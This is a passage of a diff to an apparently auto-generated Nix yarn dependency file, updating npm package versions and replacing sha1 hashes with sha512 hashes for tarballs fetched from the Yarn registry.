+        url = "https://registry.yarnpkg.com/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz";
+        sha512 = "F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==";
+      };
+    }
+    {
+      name = "array.prototype.flat___array.prototype.flat_1.3.3.tgz";
+      path = fetchurl {
+        name = "array.prototype.flat___array.prototype.flat_1.3.3.tgz";
+        url = "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz";
+        sha512 = "rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==";
+      };
+    }
+    {
+      name = "array.prototype.flatmap___array.prototype.flatmap_1.3.3.tgz";
+      path = fetchurl {
+        name = "array.prototype.flatmap___array.prototype.flatmap_1.3.3.tgz";
+        url = "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz";
+        sha512 = "Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==";
+      };
+    }
+    {
+      name = "array.prototype.tosorted___array.prototype.tosorted_1.1.4.tgz";
+      path = fetchurl {
+        name = "array.prototype.tosorted___array.prototype.tosorted_1.1.4.tgz";
+        url = "https://registry.yarnpkg.com/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz";
+        sha512 = "p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==";
+      };
+    }
+    {
+      name = "arraybuffer.prototype.slice___arraybuffer.prototype.slice_1.0.4.tgz";
+      path = fetchurl {
+        name = "arraybuffer.prototype.slice___arraybuffer.prototype.slice_1.0.4.tgz";
+        url = "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz";
+        sha512 = "BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==";
       };
     }
     {
@@ -341,7 +413,7 @@ rec {
       path = fetchurl {
         name = "arrify___arrify_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz";
-        sha1 = "iYUI2iIm84DfkEcoRWhJwVAaSw0=";
+        sha512 = "3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==";
       };
     }
     {
@@ -349,15 +421,15 @@ rec {
       path = fetchurl {
         name = "assign_symbols___assign_symbols_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz";
-        sha1 = "WWZ/QfrdTyDMvCu5a41Pf3jsA2c=";
+        sha512 = "Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==";
       };
     }
     {
-      name = "ast_types_flow___ast_types_flow_0.0.7.tgz";
+      name = "ast_types_flow___ast_types_flow_0.0.8.tgz";
       path = fetchurl {
-        name = "ast_types_flow___ast_types_flow_0.0.7.tgz";
-        url = "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.7.tgz";
-        sha1 = "9wtzXGvKGlycItmCw+Oef+ujva0=";
+        name = "ast_types_flow___ast_types_flow_0.0.8.tgz";
+        url = "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.8.tgz";
+        sha512 = "OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==";
       };
     }
     {
@@ -368,6 +440,14 @@ rec {
         sha512 = "+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==";
       };
     }
+    {
+      name = "async_function___async_function_1.0.0.tgz";
+      path = fetchurl {
+        name = "async_function___async_function_1.0.0.tgz";
+        url = "https://registry.yarnpkg.com/async-function/-/async-function-1.0.0.tgz";
+        sha512 = "hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==";
+      };
+    }
     {
       name = "atob___atob_2.1.2.tgz";
       path = fetchurl {
@@ -377,11 +457,27 @@ rec {
       };
     }
     {
-      name = "axobject_query___axobject_query_2.1.2.tgz";
+      name = "available_typed_arrays___available_typed_arrays_1.0.7.tgz";
       path = fetchurl {
-        name = "axobject_query___axobject_query_2.1.2.tgz";
-        url = "https://registry.yarnpkg.com/axobject-query/-/axobject-query-2.1.2.tgz";
-        sha512 = "ICt34ZmrVt8UQnvPl6TVyDTkmhXmAyAT4Jh5ugfGUX4MOrZ+U/ZY6/sdylRw3qGNr9Ub5AJsaHeDMzNLehRdOQ==";
+        name = "available_typed_arrays___available_typed_arrays_1.0.7.tgz";
+        url = "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz";
+        sha512 = "wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==";
+      };
+    }
+    {
+      name = "axe_core___axe_core_4.10.3.tgz";
+      path = fetchurl {
+        name = "axe_core___axe_core_4.10.3.tgz";
+        url = "https://registry.yarnpkg.com/axe-core/-/axe-core-4.10.3.tgz";
+        sha512 = "Xm7bpRXnDSX2YE2YFfBk2FnF0ep6tmG7xPh8iHee8MIcrgq762Nkce856dYtJYLkuIoYZvGfTs/PbZhideTcEg==";
+      };
+    }
+    {
+      name = "axobject_query___axobject_query_4.1.0.tgz";
+      path = fetchurl {
+        name = "axobject_query___axobject_query_4.1.0.tgz";
+        url = "https://registry.yarnpkg.com/axobject-query/-/axobject-query-4.1.0.tgz";
+        sha512 = "qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==";
       };
     }
     {
@@ -389,7 +485,7 @@ rec {
       path = fetchurl {
         name = "babel_code_frame___babel_code_frame_6.26.0.tgz";
         url = "https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.26.0.tgz";
-        sha1 = "Y/1D99weO7fONZR9uP42mj9Yx0s=";
+        sha512 = "XqYMR2dfdGMW+hd0IUZ2PwK+fGeFkOxZJ0wY+JaQAHzt1Zx8LcvpiZD2NiGkEG8qx0CfkAOr5xt76d1e8vG90g==";
       };
     }
     {
@@ -405,15 +501,15 @@ rec {
       path = fetchurl {
         name = "babel_runtime___babel_runtime_6.26.0.tgz";
         url = "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz";
-        sha1 = "llxwWGaOgrVde/4E/yM3vItWR/4=";
+        sha512 = "ITKNuq2wKlW1fJg9sSW52eepoYgZBggvOAHC0u/CYu/qxQ9EVzThCgR69BnSXLHjy2f7SY5zaQ4yt7H9ZVxY2g==";
       };
     }
     {
-      name = "balanced_match___balanced_match_1.0.0.tgz";
+      name = "balanced_match___balanced_match_1.0.2.tgz";
       path = fetchurl {
-        name = "balanced_match___balanced_match_1.0.0.tgz";
-        url = "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz";
-        sha1 = "ibTRmasr7kneFk6gK4nORi1xt2c=";
+        name = "balanced_match___balanced_match_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz";
+        sha512 = "3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==";
       };
     }
     {
@@ -429,15 +525,15 @@ rec {
       path = fetchurl {
         name = "boolify___boolify_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/boolify/-/boolify-1.0.1.tgz";
-        sha1 = "tcCeF8rNET0Rt7s+04TMASmU2Gs=";
+        sha512 = "ma2q0Tc760dW54CdOyJjhrg/a54317o1zYADQJFgperNGKIKgAUGIcKnuMiff8z57+yGlrGNEt4lPgZfCgTJgA==";
       };
     }
     {
-      name = "brace_expansion___brace_expansion_1.1.11.tgz";
+      name = "brace_expansion___brace_expansion_1.1.12.tgz";
       path = fetchurl {
-        name = "brace_expansion___brace_expansion_1.1.11.tgz";
-        url = "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz";
-        sha512 = "iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==";
+        name = "brace_expansion___brace_expansion_1.1.12.tgz";
+        url = "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.12.tgz";
+        sha512 = "9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==";
       };
     }
     {
@@ -449,11 +545,11 @@ rec {
       };
     }
     {
-      name = "buffer_from___buffer_from_1.1.1.tgz";
+      name = "buffer_from___buffer_from_1.1.2.tgz";
       path = fetchurl {
-        name = "buffer_from___buffer_from_1.1.1.tgz";
-        url = "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz";
-        sha512 = "MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==";
+        name = "buffer_from___buffer_from_1.1.2.tgz";
+        url = "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz";
+        sha512 = "E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==";
       };
     }
     {
@@ -464,12 +560,36 @@ rec {
         sha512 = "AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==";
       };
     }
+    {
+      name = "call_bind_apply_helpers___call_bind_apply_helpers_1.0.2.tgz";
+      path = fetchurl {
+        name = "call_bind_apply_helpers___call_bind_apply_helpers_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz";
+        sha512 = "Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==";
+      };
+    }
+    {
+      name = "call_bind___call_bind_1.0.8.tgz";
+      path = fetchurl {
+        name = "call_bind___call_bind_1.0.8.tgz";
+        url = "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz";
+        sha512 = "oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==";
+      };
+    }
+    {
+      name = "call_bound___call_bound_1.0.4.tgz";
+      path = fetchurl {
+        name = "call_bound___call_bound_1.0.4.tgz";
+        url = "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.4.tgz";
+        sha512 = "+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==";
+      };
+    }
     {
       name = "caller_callsite___caller_callsite_2.0.0.tgz";
       path = fetchurl {
         name = "caller_callsite___caller_callsite_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/caller-callsite/-/caller-callsite-2.0.0.tgz";
-        sha1 = "hH4PzgoiN1CpoCfFSzNzGtMVQTQ=";
+        sha512 = "JuG3qI4QOftFsZyOn1qq87fq5grLIyk1JYd5lJmdA+fG7aQ9pA/i3JIJGcO3q0MrRcHlOt1U+ZeHW8Dq9axALQ==";
       };
     }
     {
@@ -477,7 +597,7 @@ rec {
       path = fetchurl {
         name = "caller_path___caller_path_0.1.0.tgz";
         url = "https://registry.yarnpkg.com/caller-path/-/caller-path-0.1.0.tgz";
-        sha1 = "lAhe9jWB7NPaqSREqP6U6CV3dR8=";
+        sha512 = "UJiE1otjXPF5/x+T3zTnSFiTOEmJoGTD9HmBoxnCUwho61a2eSNn/VwtwuIBDAo2SEOv1AJ7ARI5gCmohFLu/g==";
       };
     }
     {
@@ -485,7 +605,7 @@ rec {
       path = fetchurl {
         name = "caller_path___caller_path_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/caller-path/-/caller-path-2.0.0.tgz";
-        sha1 = "Ro+DBE42mrIBD6xfBs7uFbsssfQ=";
+        sha512 = "MCL3sf6nCSXOwCTzvPKhN18TU7AHTvdtam8DAogxcrJ8Rjfbbg7Lgng64H9Iy+vUV6VGFClN/TyxBkAebLRR4A==";
       };
     }
     {
@@ -493,7 +613,7 @@ rec {
       path = fetchurl {
         name = "callsites___callsites_0.2.0.tgz";
         url = "https://registry.yarnpkg.com/callsites/-/callsites-0.2.0.tgz";
-        sha1 = "r6uWJikQp/M8GaV3WCXGnzTjUMo=";
+        sha512 = "Zv4Dns9IbXXmPkgRRUjAaJQgfN4xX5p6+RQFhWUqscdvvK2xK/ZL8b3IXIJsj+4sD+f24NwnWy2BY8AJ82JB0A==";
       };
     }
     {
@@ -501,7 +621,7 @@ rec {
       path = fetchurl {
         name = "callsites___callsites_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/callsites/-/callsites-2.0.0.tgz";
-        sha1 = "BuuE8A7qQT2oav/vrL/7Ngk7PFA=";
+        sha512 = "ksWePWBloaWPxJYQ8TL0JHvtci6G5QTKwQ95RcWAa/lzoAKuAOflGdAK92hpHXjkwb8zLxoLNUoNYZgVsaJzvQ==";
       };
     }
     {
@@ -517,7 +637,7 @@ rec {
       path = fetchurl {
         name = "camelcase_keys___camelcase_keys_4.2.0.tgz";
         url = "https://registry.yarnpkg.com/camelcase-keys/-/camelcase-keys-4.2.0.tgz";
-        sha1 = "oqpfsa9oh1glnDLBQUJteJI7m3c=";
+        sha512 = "Ej37YKYbFUI8QiYlvj9YHb6/Z60dZyPJW0Cs8sFilMbd2lP0bw3ylAq9yJkK4lcTA2dID5fG8LjmJYbO7kWb7Q==";
       };
     }
     {
@@ -525,7 +645,7 @@ rec {
       path = fetchurl {
         name = "camelcase___camelcase_4.1.0.tgz";
         url = "https://registry.yarnpkg.com/camelcase/-/camelcase-4.1.0.tgz";
-        sha1 = "1UVjW+HjPFQmScaRc+Xeas+uNN0=";
+        sha512 = "FxAv7HpHrXbh3aPo4o2qxHay2lkLY3x5Mw3KeE4KQE8ysVfziWeRZDwcjauvwBSGEC/nXUPzZy8zeh4HokqOnw==";
       };
     }
     {
@@ -541,7 +661,7 @@ rec {
       path = fetchurl {
         name = "chalk___chalk_1.1.3.tgz";
         url = "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz";
-        sha1 = "qBFcVeSnAv5NFQq9OHKCKn4J/Jg=";
+        sha512 = "U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==";
       };
     }
     {
@@ -557,7 +677,7 @@ rec {
       path = fetchurl {
         name = "chardet___chardet_0.4.2.tgz";
         url = "https://registry.yarnpkg.com/chardet/-/chardet-0.4.2.tgz";
-        sha1 = "tUc7M9yXxCTl2Y3IfVXU2KKci/I=";
+        sha512 = "j/Toj7f1z98Hh2cYo2BVr85EpIRWqUi7rtRSGxh/cqUjqrnJe9l9UE7IUGd2vQ2p+kSHLkSzObQPZPLUC6TQwg==";
       };
     }
     {
@@ -597,7 +717,7 @@ rec {
       path = fetchurl {
         name = "cli_cursor___cli_cursor_2.1.0.tgz";
         url = "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-2.1.0.tgz";
-        sha1 = "s12sN2R5+sw+lHR9QdDQ9SOP/LU=";
+        sha512 = "8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==";
       };
     }
     {
@@ -605,7 +725,7 @@ rec {
       path = fetchurl {
         name = "cli_truncate___cli_truncate_0.2.1.tgz";
         url = "https://registry.yarnpkg.com/cli-truncate/-/cli-truncate-0.2.1.tgz";
-        sha1 = "nxXPuwcFAFNpIWxiasfQWrkN1XQ=";
+        sha512 = "f4r4yJnbT++qUPI9NR4XLDLq41gQ+uqnPItWG0F5ZkehuNiTTa3EY0S4AqTSUOeJ7/zU41oWPQSNkW5BqPL9bg==";
       };
     }
     {
@@ -621,7 +741,7 @@ rec {
       path = fetchurl {
         name = "cliui___cliui_3.2.0.tgz";
         url = "https://registry.yarnpkg.com/cliui/-/cliui-3.2.0.tgz";
-        sha1 = "EgYBU3qRbSmUD5NNo7SNWFo5IT0=";
+        sha512 = "0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==";
       };
     }
     {
@@ -629,7 +749,7 @@ rec {
       path = fetchurl {
         name = "co___co_4.6.0.tgz";
         url = "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz";
-        sha1 = "bqa989hTrlTMuOR7+gvz+QMfsYQ=";
+        sha512 = "QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==";
       };
     }
     {
@@ -637,7 +757,7 @@ rec {
       path = fetchurl {
         name = "code_point_at___code_point_at_1.1.0.tgz";
         url = "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz";
-        sha1 = "DQcLTQQ6W+ozovGkDi7bPZpMz3c=";
+        sha512 = "RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==";
       };
     }
     {
@@ -645,7 +765,7 @@ rec {
       path = fetchurl {
         name = "collection_visit___collection_visit_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz";
-        sha1 = "S8A3PBZLwykbTTaMgpzxqApZ3KA=";
+        sha512 = "lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==";
       };
     }
     {
@@ -661,7 +781,7 @@ rec {
       path = fetchurl {
         name = "color_name___color_name_1.1.3.tgz";
         url = "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz";
-        sha1 = "p9BVi9icQveV3UIyj3QIMcpTvCU=";
+        sha512 = "72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==";
       };
     }
     {
@@ -673,19 +793,19 @@ rec {
       };
     }
     {
-      name = "common_tags___common_tags_1.8.0.tgz";
+      name = "common_tags___common_tags_1.8.2.tgz";
       path = fetchurl {
-        name = "common_tags___common_tags_1.8.0.tgz";
-        url = "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.0.tgz";
-        sha512 = "6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw==";
+        name = "common_tags___common_tags_1.8.2.tgz";
+        url = "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.2.tgz";
+        sha512 = "gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==";
       };
     }
     {
-      name = "component_emitter___component_emitter_1.3.0.tgz";
+      name = "component_emitter___component_emitter_1.3.1.tgz";
       path = fetchurl {
-        name = "component_emitter___component_emitter_1.3.0.tgz";
-        url = "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz";
-        sha512 = "Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==";
+        name = "component_emitter___component_emitter_1.3.1.tgz";
+        url = "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.1.tgz";
+        sha512 = "T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==";
       };
     }
     {
@@ -693,7 +813,7 @@ rec {
       path = fetchurl {
         name = "concat_map___concat_map_0.0.1.tgz";
         url = "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz";
-        sha1 = "2Klr13/Wjfd5OnMDajug1UBdR3s=";
+        sha512 = "/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==";
       };
     }
     {
@@ -705,19 +825,11 @@ rec {
       };
     }
     {
-      name = "confusing_browser_globals___confusing_browser_globals_1.0.9.tgz";
+      name = "confusing_browser_globals___confusing_browser_globals_1.0.11.tgz";
       path = fetchurl {
-        name = "confusing_browser_globals___confusing_browser_globals_1.0.9.tgz";
-        url = "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.9.tgz";
-        sha512 = "KbS1Y0jMtyPgIxjO7ZzMAuUpAKMt1SzCL9fsrKsX6b0zJPTaT0SiSPmewwVZg9UAO83HVIlEhZF84LIjZ0lmAw==";
-      };
-    }
-    {
-      name = "contains_path___contains_path_0.1.0.tgz";
-      path = fetchurl {
-        name = "contains_path___contains_path_0.1.0.tgz";
-        url = "https://registry.yarnpkg.com/contains-path/-/contains-path-0.1.0.tgz";
-        sha1 = "/ozxhP9mcLa67wGp1IYaXL7EEgo=";
+        name = "confusing_browser_globals___confusing_browser_globals_1.0.11.tgz";
+        url = "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz";
+        sha512 = "JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==";
       };
     }
     {
@@ -725,31 +837,23 @@ rec {
       path = fetchurl {
         name = "copy_descriptor___copy_descriptor_0.1.1.tgz";
         url = "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz";
-        sha1 = "Z29us8OZl8LuGsOpJP1hJHSPV40=";
+        sha512 = "XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==";
       };
     }
     {
-      name = "core_js_pure___core_js_pure_3.6.5.tgz";
+      name = "core_js___core_js_2.6.12.tgz";
       path = fetchurl {
-        name = "core_js_pure___core_js_pure_3.6.5.tgz";
-        url = "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.6.5.tgz";
-        sha512 = "lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==";
+        name = "core_js___core_js_2.6.12.tgz";
+        url = "https://registry.yarnpkg.com/core-js/-/core-js-2.6.12.tgz";
+        sha512 = "Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==";
       };
     }
     {
-      name = "core_js___core_js_2.6.11.tgz";
+      name = "core_util_is___core_util_is_1.0.3.tgz";
       path = fetchurl {
-        name = "core_js___core_js_2.6.11.tgz";
-        url = "https://registry.yarnpkg.com/core-js/-/core-js-2.6.11.tgz";
-        sha512 = "5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==";
-      };
-    }
-    {
-      name = "core_util_is___core_util_is_1.0.2.tgz";
-      path = fetchurl {
-        name = "core_util_is___core_util_is_1.0.2.tgz";
-        url = "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz";
-        sha1 = "tf1UIgqivFq1eqtxQMlAdUUDwac=";
+        name = "core_util_is___core_util_is_1.0.3.tgz";
+        url = "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.3.tgz";
+        sha512 = "ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==";
       };
     }
     {
@@ -765,23 +869,47 @@ rec {
       path = fetchurl {
         name = "cross_spawn___cross_spawn_5.1.0.tgz";
         url = "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-5.1.0.tgz";
-        sha1 = "6L0O/uWPz/b4+UUQoKVUu/ojVEk=";
+        sha512 = "pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==";
       };
     }
     {
-      name = "cross_spawn___cross_spawn_6.0.5.tgz";
+      name = "cross_spawn___cross_spawn_6.0.6.tgz";
       path = fetchurl {
-        name = "cross_spawn___cross_spawn_6.0.5.tgz";
-        url = "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz";
-        sha512 = "eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==";
+        name = "cross_spawn___cross_spawn_6.0.6.tgz";
+        url = "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.6.tgz";
+        sha512 = "VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==";
       };
     }
     {
-      name = "damerau_levenshtein___damerau_levenshtein_1.0.6.tgz";
+      name = "damerau_levenshtein___damerau_levenshtein_1.0.8.tgz";
       path = fetchurl {
-        name = "damerau_levenshtein___damerau_levenshtein_1.0.6.tgz";
-        url = "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.6.tgz";
-        sha512 = "JVrozIeElnj3QzfUIt8tB8YMluBJom4Vw9qTPpjGYQ9fYlB3D/rb6OordUxf3xeFB35LKWs0xqcO5U6ySvBtug==";
+        name = "damerau_levenshtein___damerau_levenshtein_1.0.8.tgz";
+        url = "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz";
+        sha512 = "sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==";
+      };
+    }
+    {
+      name = "data_view_buffer___data_view_buffer_1.0.2.tgz";
+      path = fetchurl {
+        name = "data_view_buffer___data_view_buffer_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz";
+        sha512 = "EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==";
+      };
+    }
+    {
+      name = "data_view_byte_length___data_view_byte_length_1.0.2.tgz";
+      path = fetchurl {
+        name = "data_view_byte_length___data_view_byte_length_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz";
+        sha512 = "tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==";
+      };
+    }
+    {
+      name = "data_view_byte_offset___data_view_byte_offset_1.0.1.tgz";
+      path = fetchurl {
+        name = "data_view_byte_offset___data_view_byte_offset_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz";
+        sha512 = "BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==";
       };
     }
     {
@@ -801,19 +929,19 @@ rec {
       };
     }
     {
-      name = "debug___debug_3.2.6.tgz";
+      name = "debug___debug_3.2.7.tgz";
       path = fetchurl {
-        name = "debug___debug_3.2.6.tgz";
-        url = "https://registry.yarnpkg.com/debug/-/debug-3.2.6.tgz";
-        sha512 = "mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==";
+        name = "debug___debug_3.2.7.tgz";
+        url = "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz";
+        sha512 = "CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==";
       };
     }
     {
-      name = "debug___debug_4.1.1.tgz";
+      name = "debug___debug_4.4.1.tgz";
       path = fetchurl {
-        name = "debug___debug_4.1.1.tgz";
-        url = "https://registry.yarnpkg.com/debug/-/debug-4.1.1.tgz";
